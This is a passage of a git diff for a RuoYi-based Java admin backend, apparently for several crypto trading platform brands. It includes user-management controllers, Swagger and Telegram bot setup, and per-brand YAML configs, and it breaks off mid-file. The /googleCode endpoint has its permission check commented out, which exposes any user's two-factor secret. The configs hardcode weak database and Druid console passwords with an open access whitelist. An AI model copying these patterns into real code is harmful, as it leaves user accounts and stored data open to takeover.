b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysUserController.java @@ -0,0 +1,330 @@ +package com.ruoyi.web.controller.system; + +import java.io.OutputStream; +import java.util.List; +import java.util.stream.Collectors; +import javax.servlet.http.HttpServletResponse; + + +import com.ruoyi.bussiness.domain.TAppUser; +import com.ruoyi.bussiness.service.ITAppUserService; +import com.ruoyi.common.config.RuoYiConfig; +import com.ruoyi.common.utils.GoogleAuthenticator; +import com.ruoyi.common.utils.QrCodeUtil; +import org.apache.commons.lang3.ArrayUtils; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.validation.annotation.Validated; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import org.springframework.web.multipart.MultipartFile; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.core.domain.entity.SysDept; +import com.ruoyi.common.core.domain.entity.SysRole; +import com.ruoyi.common.core.domain.entity.SysUser; +import com.ruoyi.common.core.page.TableDataInfo; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.common.utils.SecurityUtils; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.system.service.ISysDeptService; +import com.ruoyi.system.service.ISysPostService; +import com.ruoyi.system.service.ISysRoleService; +import com.ruoyi.system.service.ISysUserService; + +/** + * 用户信息 + * + * @author ruoyi + */ +@RestController +@RequestMapping("/system/user") +public class SysUserController extends BaseController +{ + @Autowired + private ISysUserService userService; + + @Autowired + private ISysRoleService roleService; + + @Autowired + private ISysDeptService deptService; + + @Autowired + private ISysPostService postService; + + @Autowired + private ITAppUserService tAppUserService; + /** + * 获取用户列表 + */ + @PreAuthorize("@ss.hasPermi('system:user:list')") + @GetMapping("/list") + public TableDataInfo list(SysUser user) + { + startPage(); + List list = userService.selectUserList(user); + return getDataTable(list); + } + + @Log(title = "用户管理", businessType = BusinessType.EXPORT) + @PreAuthorize("@ss.hasPermi('system:user:export')") + @PostMapping("/export") + public void export(HttpServletResponse response, SysUser user) + { + List list = userService.selectUserList(user); + ExcelUtil util = new ExcelUtil(SysUser.class); + util.exportExcel(response, list, "用户数据"); + } + + @Log(title = "用户管理", businessType = BusinessType.IMPORT) + @PreAuthorize("@ss.hasPermi('system:user:import')") + @PostMapping("/importData") + public AjaxResult importData(MultipartFile file, boolean updateSupport) throws Exception + { + ExcelUtil util = new ExcelUtil(SysUser.class); + List userList = util.importExcel(file.getInputStream()); + String operName = getUsername(); + String message = userService.importUser(userList, updateSupport, operName); + return success(message); + } + + @PostMapping("/importTemplate") + public void importTemplate(HttpServletResponse response) + { + ExcelUtil util = new ExcelUtil(SysUser.class); + util.importTemplateExcel(response, "用户数据"); + } + + /** + * 根据用户编号获取详细信息 + */ + @PreAuthorize("@ss.hasPermi('system:user:query')") + @GetMapping(value = { "/getInfo/","/getInfo/{userId}" }) + public AjaxResult getInfo(@PathVariable(value = "userId", required = false) Long userId) + { +// userService.checkUserDataScope(userId); + AjaxResult ajax = AjaxResult.success(); + List roles = roleService.selectRoleAll(); + ajax.put("roles", SysUser.isAdmin(userId) ? roles : roles.stream().filter(r -> !r.isAdmin()).collect(Collectors.toList())); + ajax.put("posts", postService.selectPostAll()); + if (StringUtils.isNotNull(userId)) + { + SysUser sysUser = userService.selectUserById(userId); + ajax.put(AjaxResult.DATA_TAG, sysUser); + ajax.put("postIds", postService.selectPostListByUserId(userId)); + ajax.put("roleIds", sysUser.getRoles().stream().map(SysRole::getRoleId).collect(Collectors.toList())); + } + return ajax; + } + + /** + * 新增用户 + */ + @PreAuthorize("@ss.hasPermi('system:user:add')") + @Log(title = "用户管理", businessType = BusinessType.INSERT) + @PostMapping + public AjaxResult add(@Validated @RequestBody SysUser user) + { + if (!userService.checkUserNameUnique(user)) + { + return error("新增用户'" + user.getUserName() + "'失败,登录账号已存在"); + } + else if (StringUtils.isNotEmpty(user.getPhonenumber()) && !userService.checkPhoneUnique(user)) + { + return error("新增用户'" + user.getUserName() + "'失败,手机号码已存在"); + } + else if (StringUtils.isNotEmpty(user.getEmail()) && !userService.checkEmailUnique(user)) + { + return error("新增用户'" + user.getUserName() + "'失败,邮箱账号已存在"); + } + user.setCreateBy(getUsername()); + user.setPassword(SecurityUtils.encryptPassword(user.getPassword())); + return toAjax(userService.insertUser(user)); + } + + /** + * 修改用户 + */ + @PreAuthorize("@ss.hasPermi('system:user:edit')") + @Log(title = "用户管理", businessType = BusinessType.UPDATE) + @PutMapping + public AjaxResult edit(@Validated @RequestBody SysUser user) + { + userService.checkUserAllowed(user); + userService.checkUserDataScope(user.getUserId()); + if (!userService.checkUserNameUnique(user)) + { + return error("修改用户'" + user.getUserName() + "'失败,登录账号已存在"); + } + else if (StringUtils.isNotEmpty(user.getPhonenumber()) && !userService.checkPhoneUnique(user)) + { + return error("修改用户'" + user.getUserName() + "'失败,手机号码已存在"); + } + else if (StringUtils.isNotEmpty(user.getEmail()) && !userService.checkEmailUnique(user)) + { + return error("修改用户'" + user.getUserName() + "'失败,邮箱账号已存在"); + } + user.setUpdateBy(getUsername()); + return toAjax(userService.updateUser(user)); + } + + /** + * 删除用户 + */ + @PreAuthorize("@ss.hasPermi('system:user:remove')") + @Log(title = "用户管理", businessType = BusinessType.DELETE) + @DeleteMapping("/{userIds}") + public AjaxResult remove(@PathVariable Long[] userIds) + { + if (ArrayUtils.contains(userIds, getUserId())) + { + return error("当前用户不能删除"); + } + return toAjax(userService.deleteUserByIds(userIds)); + } + + /** + * 重置密码 + */ + @PreAuthorize("@ss.hasPermi('system:user:resetPwd')") + @Log(title = "用户管理", businessType = BusinessType.UPDATE) + @PutMapping("/resetPwd") + public AjaxResult resetPwd(@RequestBody SysUser user) + { + userService.checkUserAllowed(user); + userService.checkUserDataScope(user.getUserId()); + user.setPassword(SecurityUtils.encryptPassword(user.getPassword())); + user.setUpdateBy(getUsername()); + return toAjax(userService.resetPwd(user)); + } + + /** + * 状态修改 + */ + @PreAuthorize("@ss.hasPermi('system:user:edit')") + @Log(title = "用户管理", businessType = BusinessType.UPDATE) + @PutMapping("/changeStatus") + public AjaxResult changeStatus(@RequestBody SysUser user) + { + userService.checkUserAllowed(user); + userService.checkUserDataScope(user.getUserId()); + user.setUpdateBy(getUsername()); + return toAjax(userService.updateUserStatus(user)); + } + + /** + * 根据用户编号获取授权角色 + */ + @PreAuthorize("@ss.hasPermi('system:user:query')") + @GetMapping("/authRole/{userId}") + public AjaxResult authRole(@PathVariable("userId") Long userId) + { + AjaxResult ajax = AjaxResult.success(); + SysUser user = userService.selectUserById(userId); + List roles = roleService.selectRolesByUserId(userId); + ajax.put("user", user); + ajax.put("roles", SysUser.isAdmin(userId) ? roles : roles.stream().filter(r -> !r.isAdmin()).collect(Collectors.toList())); + return ajax; + } + + /** + * 用户授权角色 + */ + @PreAuthorize("@ss.hasPermi('system:user:edit')") + @Log(title = "用户管理", businessType = BusinessType.GRANT) + @PutMapping("/authRole") + public AjaxResult insertAuthRole(Long userId, Long[] roleIds) + { + userService.checkUserDataScope(userId); + userService.insertUserAuth(userId, roleIds); + return success(); + } + + /** + * 获取部门树列表 + */ + @PreAuthorize("@ss.hasPermi('system:user:list')") + @GetMapping("/deptTree") + public AjaxResult deptTree(SysDept dept) + { + return success(deptService.selectDeptTreeList(dept)); + } + + @Log(title = "查询未绑定的代理用户", businessType = BusinessType.UPDATE) + @PreAuthorize("@ss.hasPermi('system:user:selectUnboundAdminUser')") + @GetMapping("/selectUnboundAdminUser") + public TableDataInfo selectUnboundAdminUser(SysUser user) + { + startPage(); + List list = userService.selectUnboundAdminUser(user); + return getDataTable(list); + } + @Log(title = "绑定代理用户", businessType = BusinessType.UPDATE) + @PreAuthorize("@ss.hasPermi('system:user:bindingAdminUser')") + @GetMapping("/bindingAdminUser") + public AjaxResult bindingAdminUser(Long userId, Long[] adminUserIds) + { + return toAjax(userService.bindingAdminUser(userId,adminUserIds)); + } + + @Log(title = "绑定普通玩家用户", businessType = BusinessType.UPDATE) + @PreAuthorize("@ss.hasPermi('system:user:bindingAppUser')") + @GetMapping("/bindingAppUser") + public AjaxResult bindingAppUser(Long userId, Long[] appUserIds) + { + return toAjax(userService.bindingAppUser(userId,appUserIds)); + } + + @Log(title = "更新google验证码", businessType = BusinessType.UPDATE) + @PreAuthorize("@ss.hasPermi('system:user:updateCode')") + @GetMapping("/updateCode") + public void genQrCode(Long userId, HttpServletResponse response) throws Exception{ + SysUser user = userService.selectUserById(userId); +// Long[] role = roleService.selectRoleIdByUid(userId); +// user.setRoleIds(role); + String key = GoogleAuthenticator.getRandomSecretKey(); + user.setGoogleKey(key); + userService.updateUserForGoogleKey(user); + String bar = GoogleAuthenticator.getGoogleAuthenticatorBarCode(key,user.getUserName(), RuoYiConfig.getGoogleHost()); + response.setContentType("image/png"); + OutputStream stream = response.getOutputStream(); + QrCodeUtil.encode(bar,stream); + } + + @Log(title = "查看google验证码", businessType = BusinessType.OTHER) +// @PreAuthorize("@ss.hasPermi('system:user:googleCode')") + @GetMapping("/googleCode") + public void code(Long userId, HttpServletResponse response) throws Exception{ + SysUser user = userService.selectUserById(userId); + if(null==user.getGoogleKey()){ + response.setContentType("application/json"); + OutputStream stream = response.getOutputStream(); + String ret = "您还没有开通google验证,请先更新google验证来开通..."; + stream.write(ret.getBytes()); + return; + } + String bar = GoogleAuthenticator.getGoogleAuthenticatorBarCode(user.getGoogleKey(),user.getUserName(), RuoYiConfig.getGoogleHost()); + response.setContentType("image/png"); + OutputStream stream = response.getOutputStream(); + QrCodeUtil.encode(bar,stream); + } + + @Log(title = "查询所有的代理用户", businessType = BusinessType.UPDATE) + @PreAuthorize("@ss.hasPermi('system:user:selectAllAgentUser')") + @GetMapping("/selectAllAgentUser") + public TableDataInfo selectAllAgentUser(SysUser user) + { + + List list = userService.selectAllAgentUser(user); + return getDataTable(list); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/tool/TestController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/tool/TestController.java new file mode 100644 index 0000000..b4f6bac --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/tool/TestController.java @@ -0,0 +1,183 @@ +package com.ruoyi.web.controller.tool; + +import java.util.ArrayList; +import java.util.LinkedHashMap; +import java.util.List; +import java.util.Map; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.R; +import com.ruoyi.common.utils.StringUtils; +import io.swagger.annotations.Api; +import io.swagger.annotations.ApiImplicitParam; +import io.swagger.annotations.ApiImplicitParams; +import io.swagger.annotations.ApiModel; +import io.swagger.annotations.ApiModelProperty; +import io.swagger.annotations.ApiOperation; + +/** + * swagger 用户测试方法 + * + * @author ruoyi + */ +@Api("用户信息管理") +@RestController +@RequestMapping("/test/user") +public class TestController extends BaseController +{ + private final static Map users = new LinkedHashMap(); + { + users.put(1, new UserEntity(1, "admin", "admin123", "15888888888")); + users.put(2, new UserEntity(2, "ry", "admin123", "15666666666")); + } + + @ApiOperation("获取用户列表") + @GetMapping("/list") + public R> userList() + { + List userList = new ArrayList(users.values()); + return R.ok(userList); + } + + @ApiOperation("获取用户详细") + @ApiImplicitParam(name = "userId", value = "用户ID", required = true, dataType = "int", paramType = "path", dataTypeClass = Integer.class) + @GetMapping("/{userId}") + public R getUser(@PathVariable Integer userId) + { + if (!users.isEmpty() && users.containsKey(userId)) + { + return R.ok(users.get(userId)); + } + else + { + return R.fail("用户不存在"); + } + } + + @ApiOperation("新增用户") + @ApiImplicitParams({ + @ApiImplicitParam(name = "userId", value = "用户id", dataType = "Integer", dataTypeClass = Integer.class), + @ApiImplicitParam(name = "username", value = "用户名称", dataType = "String", dataTypeClass = String.class), + @ApiImplicitParam(name = "password", value = "用户密码", dataType = "String", dataTypeClass = String.class), + @ApiImplicitParam(name = "mobile", value = "用户手机", dataType = "String", dataTypeClass = String.class) + }) + @PostMapping("/save") + public R save(UserEntity user) + { + if (StringUtils.isNull(user) || StringUtils.isNull(user.getUserId())) + { + return R.fail("用户ID不能为空"); + } + users.put(user.getUserId(), user); + return R.ok(); + } + + @ApiOperation("更新用户") + @PutMapping("/update") + public R update(@RequestBody UserEntity user) + { + if (StringUtils.isNull(user) || StringUtils.isNull(user.getUserId())) + { + return R.fail("用户ID不能为空"); + } + if (users.isEmpty() || !users.containsKey(user.getUserId())) + { + return R.fail("用户不存在"); + } + users.remove(user.getUserId()); + users.put(user.getUserId(), user); + return R.ok(); + } + + @ApiOperation("删除用户信息") + @ApiImplicitParam(name = "userId", value = "用户ID", required = true, dataType = "int", paramType = "path", dataTypeClass = Integer.class) + @DeleteMapping("/{userId}") + public R delete(@PathVariable Integer userId) + { + if (!users.isEmpty() && users.containsKey(userId)) + { + users.remove(userId); + return R.ok(); + } + else + { + return R.fail("用户不存在"); + } + } +} + +@ApiModel(value = "UserEntity", description = "用户实体") +class UserEntity +{ + @ApiModelProperty("用户ID") + private Integer userId; + + @ApiModelProperty("用户名称") + private String username; + + @ApiModelProperty("用户密码") + private String password; + + @ApiModelProperty("用户手机") + private String mobile; + + public UserEntity() + { + + } + + public UserEntity(Integer userId, String username, String password, String mobile) + { + this.userId = userId; + this.username = username; + this.password = password; + this.mobile = mobile; + } + + public Integer getUserId() + { + return userId; + } + + public void setUserId(Integer userId) + { + this.userId = userId; + } + + public String getUsername() + { + return username; + } + + public void setUsername(String username) + { + this.username = username; + } + + public String getPassword() + { + return password; + } + + public void setPassword(String password) + { + this.password = password; + } + + public String getMobile() + { + return mobile; + } + + public void setMobile(String mobile) + { + this.mobile = mobile; + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/core/config/SwaggerConfig.java b/ruoyi-admin/src/main/java/com/ruoyi/web/core/config/SwaggerConfig.java new file mode 100644 index 0000000..ae1c3ec --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/core/config/SwaggerConfig.java @@ -0,0 +1,125 @@ +package com.ruoyi.web.core.config; + +import java.util.ArrayList; +import java.util.List; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; +import com.ruoyi.common.config.RuoYiConfig; +import io.swagger.annotations.ApiOperation; +import io.swagger.models.auth.In; +import springfox.documentation.builders.ApiInfoBuilder; +import springfox.documentation.builders.PathSelectors; +import springfox.documentation.builders.RequestHandlerSelectors; +import springfox.documentation.service.ApiInfo; +import springfox.documentation.service.ApiKey; +import springfox.documentation.service.AuthorizationScope; +import springfox.documentation.service.Contact; +import springfox.documentation.service.SecurityReference; +import springfox.documentation.service.SecurityScheme; +import springfox.documentation.spi.DocumentationType; +import springfox.documentation.spi.service.contexts.SecurityContext; +import springfox.documentation.spring.web.plugins.Docket; + +/** + * Swagger2的接口配置 + * + * @author ruoyi + */ +@Configuration +public class SwaggerConfig +{ + /** 系统基础配置 */ + @Autowired + private RuoYiConfig ruoyiConfig; + + /** 是否开启swagger */ + @Value("${swagger.enabled}") + private boolean enabled; + + /** 设置请求的统一前缀 */ + @Value("${swagger.pathMapping}") + private String pathMapping; + + /** + * 创建API + */ + @Bean + public Docket createRestApi() + { + return new Docket(DocumentationType.OAS_30) + // 是否启用Swagger + .enable(enabled) + // 用来创建该API的基本信息,展示在文档的页面中(自定义展示的信息) + .apiInfo(apiInfo()) + // 设置哪些接口暴露给Swagger展示 + .select() + // 扫描所有有注解的api,用这种方式更灵活 + .apis(RequestHandlerSelectors.withMethodAnnotation(ApiOperation.class)) + // 扫描指定包中的swagger注解 + // .apis(RequestHandlerSelectors.basePackage("com.ruoyi.project.tool.swagger")) + // 扫描所有 .apis(RequestHandlerSelectors.any()) + .paths(PathSelectors.any()) + .build() + /* 设置安全模式,swagger可以设置访问token */ + .securitySchemes(securitySchemes()) + .securityContexts(securityContexts()) + .pathMapping(pathMapping); + } + + /** + * 安全模式,这里指定token通过Authorization头请求头传递 + */ + private List securitySchemes() + { + List apiKeyList = new ArrayList(); + apiKeyList.add(new ApiKey("Authorization", "Authorization", In.HEADER.toValue())); + return apiKeyList; + } + + /** + * 安全上下文 + */ + private List securityContexts() + { + List securityContexts = new ArrayList<>(); + securityContexts.add( + SecurityContext.builder() + .securityReferences(defaultAuth()) + .operationSelector(o -> o.requestMappingPattern().matches("/.*")) + .build()); + return securityContexts; + } + + /** + * 默认的安全上引用 + */ + private List defaultAuth() + { + AuthorizationScope authorizationScope = new AuthorizationScope("global", "accessEverything"); + AuthorizationScope[] authorizationScopes = new AuthorizationScope[1]; + authorizationScopes[0] = authorizationScope; + List securityReferences = new ArrayList<>(); + securityReferences.add(new SecurityReference("Authorization", authorizationScopes)); + return securityReferences; + } + + /** + * 添加摘要信息 + */ + private ApiInfo apiInfo() + { + // 用ApiInfoBuilder进行定制 + return new ApiInfoBuilder() + // 设置标题 + .title("标题:若依管理系统_接口文档") + // 描述 + .description("描述:用于管理集团旗下公司的人员信息,具体包括XXX,XXX模块...") + // 作者信息 + .contact(new Contact(ruoyiConfig.getName(), null, null)) + // 版本 + .version("版本号:" + ruoyiConfig.getVersion()) + .build(); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/lifecycle/MySmartLifecycle.java b/ruoyi-admin/src/main/java/com/ruoyi/web/lifecycle/MySmartLifecycle.java new file mode 100644 index 0000000..63b489d --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/lifecycle/MySmartLifecycle.java @@ -0,0 +1,73 @@ +package com.ruoyi.web.lifecycle; + +import com.ruoyi.common.core.redis.RedisCache; +import com.ruoyi.common.enums.CachePrefix; +import com.ruoyi.common.utils.SpringContextUtil; +import com.ruoyi.telegrambot.MyTelegramBot; +import com.ruoyi.telegrambot.TelegramBotConfig; +import lombok.extern.slf4j.Slf4j; +import org.springframework.context.SmartLifecycle; +import org.springframework.stereotype.Component; +import org.telegram.telegrambots.meta.exceptions.TelegramApiException; +@Slf4j +@Component +public class MySmartLifecycle implements SmartLifecycle { + + private volatile boolean running = false; + + /*** true:让Lifecycle类所在的上下文在调用`refresh`时,能够自己自动进行回调* false:表明组件打算通过显式的start()调用来启动,类似于普通的Lifecycle实现。*/ + @Override + public boolean isAutoStartup() { + return true; + } + + /*** 很多框架中,把真正逻辑写在stop()方法内。比如quartz和Redis的spring支持包*/ + @Override + public void stop(Runnable callback) { + System.out.println("stop(callback)"); + stop(); + callback.run(); + } + + @Override + public void start() { + log.info("SmartLifecycle 生命周期初始化 ==========开始"); + //初始化机器人配置 + MyTelegramBot myTelegramBot = SpringContextUtil.getBean(MyTelegramBot.class); + myTelegramBot.initMyTelegramBot(); + log.info("myTelegramBot 初始化 ==========结束"); + //启动机器人 + TelegramBotConfig telegramBotConfig = SpringContextUtil.getBean(TelegramBotConfig.class); + try { + log.info("开始创建机器人链接 TelegramBot============开始"); + telegramBotConfig.start(); + log.info("开始创建机器人链接 TelegramBot============结束"); + } catch (TelegramApiException e) { + e.printStackTrace(); + } running = true; + } + + @Override + public void stop() { + TelegramBotConfig telegramBotConfig = SpringContextUtil.getBean(TelegramBotConfig.class); + telegramBotConfig.stop(); + RedisCache redisCache = SpringContextUtil.getBean(RedisCache.class); + redisCache.deleteObject("notice_key"); + redisCache.deleteObject("notice"); + redisCache.deleteObject(CachePrefix.ORDER_SECOND_CONTRACT.getPrefix()+"*"); + running = false; + } + + @Override + public boolean isRunning() { + System.out.println("isRunning()"); + return running; + } + + /*** 阶段值。越小:start()方法越靠前,stop()方法越靠后*/ + @Override + public int getPhase() { + System.out.println("getPhase()"); + return 0; + } +} \ No newline at end of file diff --git a/ruoyi-admin/src/main/resources/META-INF/spring-devtools.properties b/ruoyi-admin/src/main/resources/META-INF/spring-devtools.properties new file mode 100644 index 0000000..2b23f85 --- /dev/null +++ b/ruoyi-admin/src/main/resources/META-INF/spring-devtools.properties @@ -0,0 +1 @@ +restart.include.json=/com.alibaba.fastjson.*.jar \ No newline at end of file diff --git a/ruoyi-admin/src/main/resources/application-aams.yml b/ruoyi-admin/src/main/resources/application-aams.yml new file mode 100644 index 0000000..b39a1fa --- /dev/null +++ b/ruoyi-admin/src/main/resources/application-aams.yml @@ -0,0 +1,95 @@ +app: + name: aams +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 9002 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 2 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 32 + # 连接池的最大数据库连接数 + max-active: 32 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/aams?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true + +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-admin/src/main/resources/application-bitbyex.yml b/ruoyi-admin/src/main/resources/application-bitbyex.yml new file mode 100644 index 0000000..f498ff0 --- /dev/null +++ b/ruoyi-admin/src/main/resources/application-bitbyex.yml @@ -0,0 +1,96 @@ +app: + name: ticbit +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 9001 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 1 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 8 + # 连接池的最大数据库连接数 + max-active: 8 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/bitbyex?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true + +# 日志配置 +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-admin/src/main/resources/application-bitfly.yml b/ruoyi-admin/src/main/resources/application-bitfly.yml new file mode 100644 index 0000000..9900be5 --- /dev/null +++ b/ruoyi-admin/src/main/resources/application-bitfly.yml @@ -0,0 +1,95 @@ +app: + name: bityc +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 9002 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 2 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 8 + # 连接池的最大数据库连接数 + max-active: 8 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/bitfly?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true + +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-admin/src/main/resources/application-bitmake.yml b/ruoyi-admin/src/main/resources/application-bitmake.yml new file mode 100644 index 0000000..1192395 --- /dev/null +++ b/ruoyi-admin/src/main/resources/application-bitmake.yml @@ -0,0 +1,96 @@ +app: + name: bitmake +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 9001 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 0 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 8 + # 连接池的最大数据库连接数 + max-active: 8 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/bitmake?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 